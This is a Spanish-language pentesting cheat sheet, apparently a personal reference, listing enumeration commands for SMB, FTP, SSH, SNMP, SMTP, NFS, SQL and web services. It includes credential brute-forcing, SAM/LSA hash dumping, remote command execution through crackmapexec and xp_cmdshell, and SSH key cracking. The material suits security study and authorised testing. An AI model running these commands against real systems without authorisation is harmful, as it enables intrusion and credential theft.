Enumeración
SMB y NetBIOS
Los puertos a revisar son:
138 UDP (datagram services)
139 TCP (session services)
445 TCP (Microsoft-DS)
Validación de si está corriendo el protocolo NetBIOS:
nmap -sS -sU -p137,138,139,445 --open -Pn -n 192.168.1.1Si dentro de la consulta del comando se tiene un valor numérico
<20>, equivale a un server service, que corresponde a archivos e impresoras compartidas.
Chequeo de si posee algún share:
nbtstat -n
nbtstat -A 192.168.1.1
nbtstat -a hostname-nlista NetBIOS locales-Alista NetBIOS remotos usando dirección IP-alista NetBIOS remotos usando hostname
Chequeo de si posee algún share:
nbtscan -v 192.168.1.1
nbtscan -v 192.168.1.0/24-vverbose
Validar si el target se encuentra compartiendo algún recurso:
smbclient -L 192.168.1.1-Llista los recursos compartidos del target
Chequear el contenido de los shares:
net use K: \\192.168.1.1\cSe ingresa la letra del volumen donde queremos montar el share.
smbmap -u 'admin' -p 'pass' -d MYGROUP -H 192.168.1.1
smbmap -u 'admin' -p 'pass' -H 192.168.1.1
smbmap -H 192.168.1.1
smbmap -u 'admin' -p 'pass' -d domain.com -H 192.168.1.1 -x 'ipconfig /all'
smbmap -L -u '' -p '' -H 192.168.1.1
smbmap -r -u '' -p '' -H 192.168.1.1-uindicamos el usuario para autenticarnos-ppassword de autenticación-ddominio del usuario, por defecto es WORKGROUP-Htarget-Llista todas las unidades del target-rlista el contenido de un directorio, por defecto es la raíz de todos los shares
nmblookup -A 192.168.1.1hydra -L users.txt -P /usr/share/john/password.lst 192.168.1.1 smb
hydra -L users.txt -P /usr/share/john/password.lst 192.168.1.1 smb -f-fespecifica que se cierre después del primer usuario válido
Para obtener información sobre el OS del target:
crackmapexec smb 192.168.1.1Si queremos obtener los shares, discos, sesiones, usuarios logueados o políticas de contraseñas del target, usar los siguientes comandos:
crackmapexec smb 192.168.1.1 -u '' -p '' --shares
crackmapexec smb 192.168.1.1 -u '' -p '' --local-auth --shares
crackmapexec smb 192.168.1.1 -u '' -p '' -d '' --shares
crackmapexec smb 192.168.1.1 -u '' -p '' --share share_name
crackmapexec smb 192.168.1.1 -u '' -p '' --sessions
crackmapexec smb 192.168.1.1 -u '' -p '' --disks
crackmapexec smb 192.168.1.1 -u '' -p '' --loggedon-users
crackmapexec smb 192.168.1.1 -u '' -p '' --pass-polObtener hashes:
crackmapexec smb 192.168.1.1 -u '' -p '' -d '' --sam
crackmapexec smb 192.168.1.1 -u '' -p '' -d '' --lsaEjecución de comandos:
crackmapexec smb 192.168.1.1 -u '' -p '' -x BATCH_COMMAND
crackmapexec smb 192.168.1.1 -u '' -p '' -X PS_COMMANDNull Session
Validar si podemos obtener información sin usar un usuario válido.
net use \\192.168.1.1\IPC$ "" /u:""Si se posee una respuesta
The command completed successfullyes que tenemos un null sessionEl primer valor entre comillas es la password y el parámetro
/u:""es el usuario (ambos deben esta vacíos)
winfo 192.168.1.1 -n-nindica que se establecerá una null session
enum4linux -a 192.168.1.1Podemos ingresar usando rpcclient, o podemos usar un comando oneline.
Si ingresamos usando rpcclient, usamos el siguiente comando:
rpcclient -N -U '' 192.168.1.1Luego, podemos usar los siguiente comandos:
enumdomusers
enumalsgroups
srvinfo
lookupnames
queryuser [id]
enumprivs-Nno envía una password-U ''dejamos el usuario vacíoenumdomusersenumeramos usuarios del dominioenumalsgroupsenumerar alias de grupossrvinfoinformación del servidorlookupnamesbuscamos nombresqueryuserinformación de consultas de usuarioenumprivsenumeramos los privilegios
Cuando queremos hacer esto en una sola línea, usar el siguiente comando:
rpcclient -N -U '' 192.168.1.1 -c enumdomusersFTP
nmap -sV -script *ftp* -p20,21 192.168.1.1
nmap -sV -script *ftp* --script-args=unsafe=1 -p20,21 192.168.1.1-sVidentificación de la versión del servicio-script *ftp*usamos los scripts asociados a FTP--script-args=unsafe=1se ejecutarán secuencias de comandos que están casi (o totalmente) garantizadas para bloquear un sistema vulnerable. No se recomienda usar este parámetro en un entorno productivo
Se recomienda realizar el siguiente checklist:
Autenticarse con credenciales anonimas:
ftp 192.168.1.1
anonymous
anonymousDescargar archivos:
wget -m ftp://anonymous:anonymous@192.168.1.1
wget -m --no-passive ftp://anonymous:anonymous@192.168.1.1Subir archivos:
ftp 192.168.1.1
anonymous
anonymous
put file.txtSSH
nmap -sV -script *ssh* -p22 192.168.1.1Validamos versión del servicio SSH:
msfconsole -q
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.1
runEnumeramos usuarios válidos:
msfconsole -q
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.1
set USER_FILE /opt/SecLists/Usernames/Names/names.txt
runHydra:
hydra -L usernames.txt -P password.txt 192.168.1.1 ssh 2/dev/nullMetasploit:
msfconsole -q
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.0/24
set USER_FILE usernames.txt
set PASS_FILE password.txt
runssh2john id_rsa > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txtchmod 600 id_rsa
ssh -i id_rsa root@192.168.1.1SNMP
nmap -sU -p161 -script *snmp* 192.168.1.1onesixtyone -c /usr/share/doc/onesixtyone/dict.txt 192.168.1.1perl snmpenum.pl 192.168.1.1 public windows.txt
perl snmpenum.pl 192.168.1.1 public linux.txtsnmp-check 192.168.1.1
snmp-check 192.168.1.1 -c publicsnmpwalk -v 1 -c public 192.168.1.1
snmpwalk -v 1 -c public 192.168.1.1 | grep hrSWInstalledName
snmpwalk -v 1 -c public 192.168.1.1 | grep udpLocalPort
snmpwalk -v 1 -c public -t 10 192.168.1.1 1.3.6.1.4.1.77.1.2.25 # Usernames
snmpwalk -v 1 -c public -t 10 192.168.1.1 1.3.6.1.2.1.25.4.2.1.2 # Procesos
snmpwalk -v 1 -c public -t 10 192.168.1.1 1.3.6.1.2.1.6.13.1.3 # Puertos TCP locales
snmpwalk -v 1 -c public -t 10 192.168.1.1 1.3.6.1.2.1.25.6.3.1.2 # Software instaladoSMTP
nmap -script *smtp* -sV -p25 192.168.1.1./smtp-user-enum.py -i 192.168.1.10 -w user_list.txt
./smtp-user-enum.py -m ip_list.txt -w user_list.txtEl script se encuentra en el siguiente link.
RPC Bind y NFS
nmap -sV -sC -p111,2049 192.168.1.1
nmap -sV -p111 --script rpcinfo 192.168.1.1
nmap --script='nfs*' -p111,2049 192.168.1.1Si tenemos una carpeta compartida, podemos montarla de la siguiente forma:
cd /mnt ; mkdir temp
mount -t nfs -o nolock,nfsvers=3 192.168.1.1:/share_name temp/En caso de que no tengamos permisos para ver los archivos de dicha carpeta, o estos aparezcan con el usuario nobody, debemos crear uno con el mismo nombre, UID y GID obtenido del comando NMAP:
adduser new_user
sed -i -e 's/old_id/new_id/g' /etc/passwd
grep new_user /etc/passwdSQL
Información extra.
Enumeración usando NMAP:
nmap -sV -p1433 --script=ms-sql* 192.168.1.1
nmap -sV -p1433 --script=ms-sql* --script-args=mssql.instance-port=1433,mssql.username-sa,mssql.password-sa 192.168.1.1Enumeración usando Metasploit módulo mssql_ping:
msfconsole -q
use auxiliary/scanner/mssql/mssql_ping
set RHOSTS 192.168.1.200-254
set THREADS 20
runFuerza bruta al login:
msfconsole -q
use auxiliary/scanner/mssql/mssql_login
set RHOSTS 192.168.1.1
set USER_FILE /opt/SecLists/Usernames/mssql-usernames-nansh0u-guardicore.txt
set PASS_FILE /usr/share/wordlists/rockyou.txt
runAutenticarse y ejecución de comandos:
sqsh -S 192.168.1.1 -U username -P password -D database
xp_cmdshell 'whoami'
goInformación extra.
Enumeración usando NMAP:
nmap -sV -p3306 --script=mysql* 192.168.1.1Conección local:
mysql -u root # conectarse con el usuario root sin usar password
mysql -u root -p # se solicitará una password de accesoConexión remota:
mysql -h 192.168.1.1 -u root
mysql -h 192.168.1.1 -u root -pWeb
Buscar usuarios en el certificado SSL/TLS
Ver el código fuente
Validar los archivos
robots.txt,.htaccess,.htpasswdVer la consola del navegador
Ejecutar un crawler usando Burp Suite
Enumerar usando sslyze:
sslyze www.w0lff4ng.orgEnumerar usando NMAP:
nmap -sV -p80,443 --script=http* 192.168.1.1Buscar información en los headers HTTP:
whatweb https://www.w0lff4ng.org
whatweb https://www.w0lff4ng.org -vEnumerar usando nikto:
nikto -host https://www.w0lff4ng.orgEnumerar directorios web:
./dirsearch.py -u https://www.w0lff4ng.org -w /opt/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --full-urlEnumeración usando wpscan:
wpscan --url http://192.168.1.1 -e u,vp,vt
wpscan --url http://192.168.1.1 --usernames admin --passwords /usr/share/wordlists/rockyou.txtEnumeración usando CMSmap:
cmsmap http://192.168.1.1 -f WEnumeración usando
joomscan -u http://192.168.1.1
joomscan -u http://192.168.1.1 --enumerate-componentsEnumeración usando CMSmap:
cmsmap http://192.168.1.1 -f JLast updated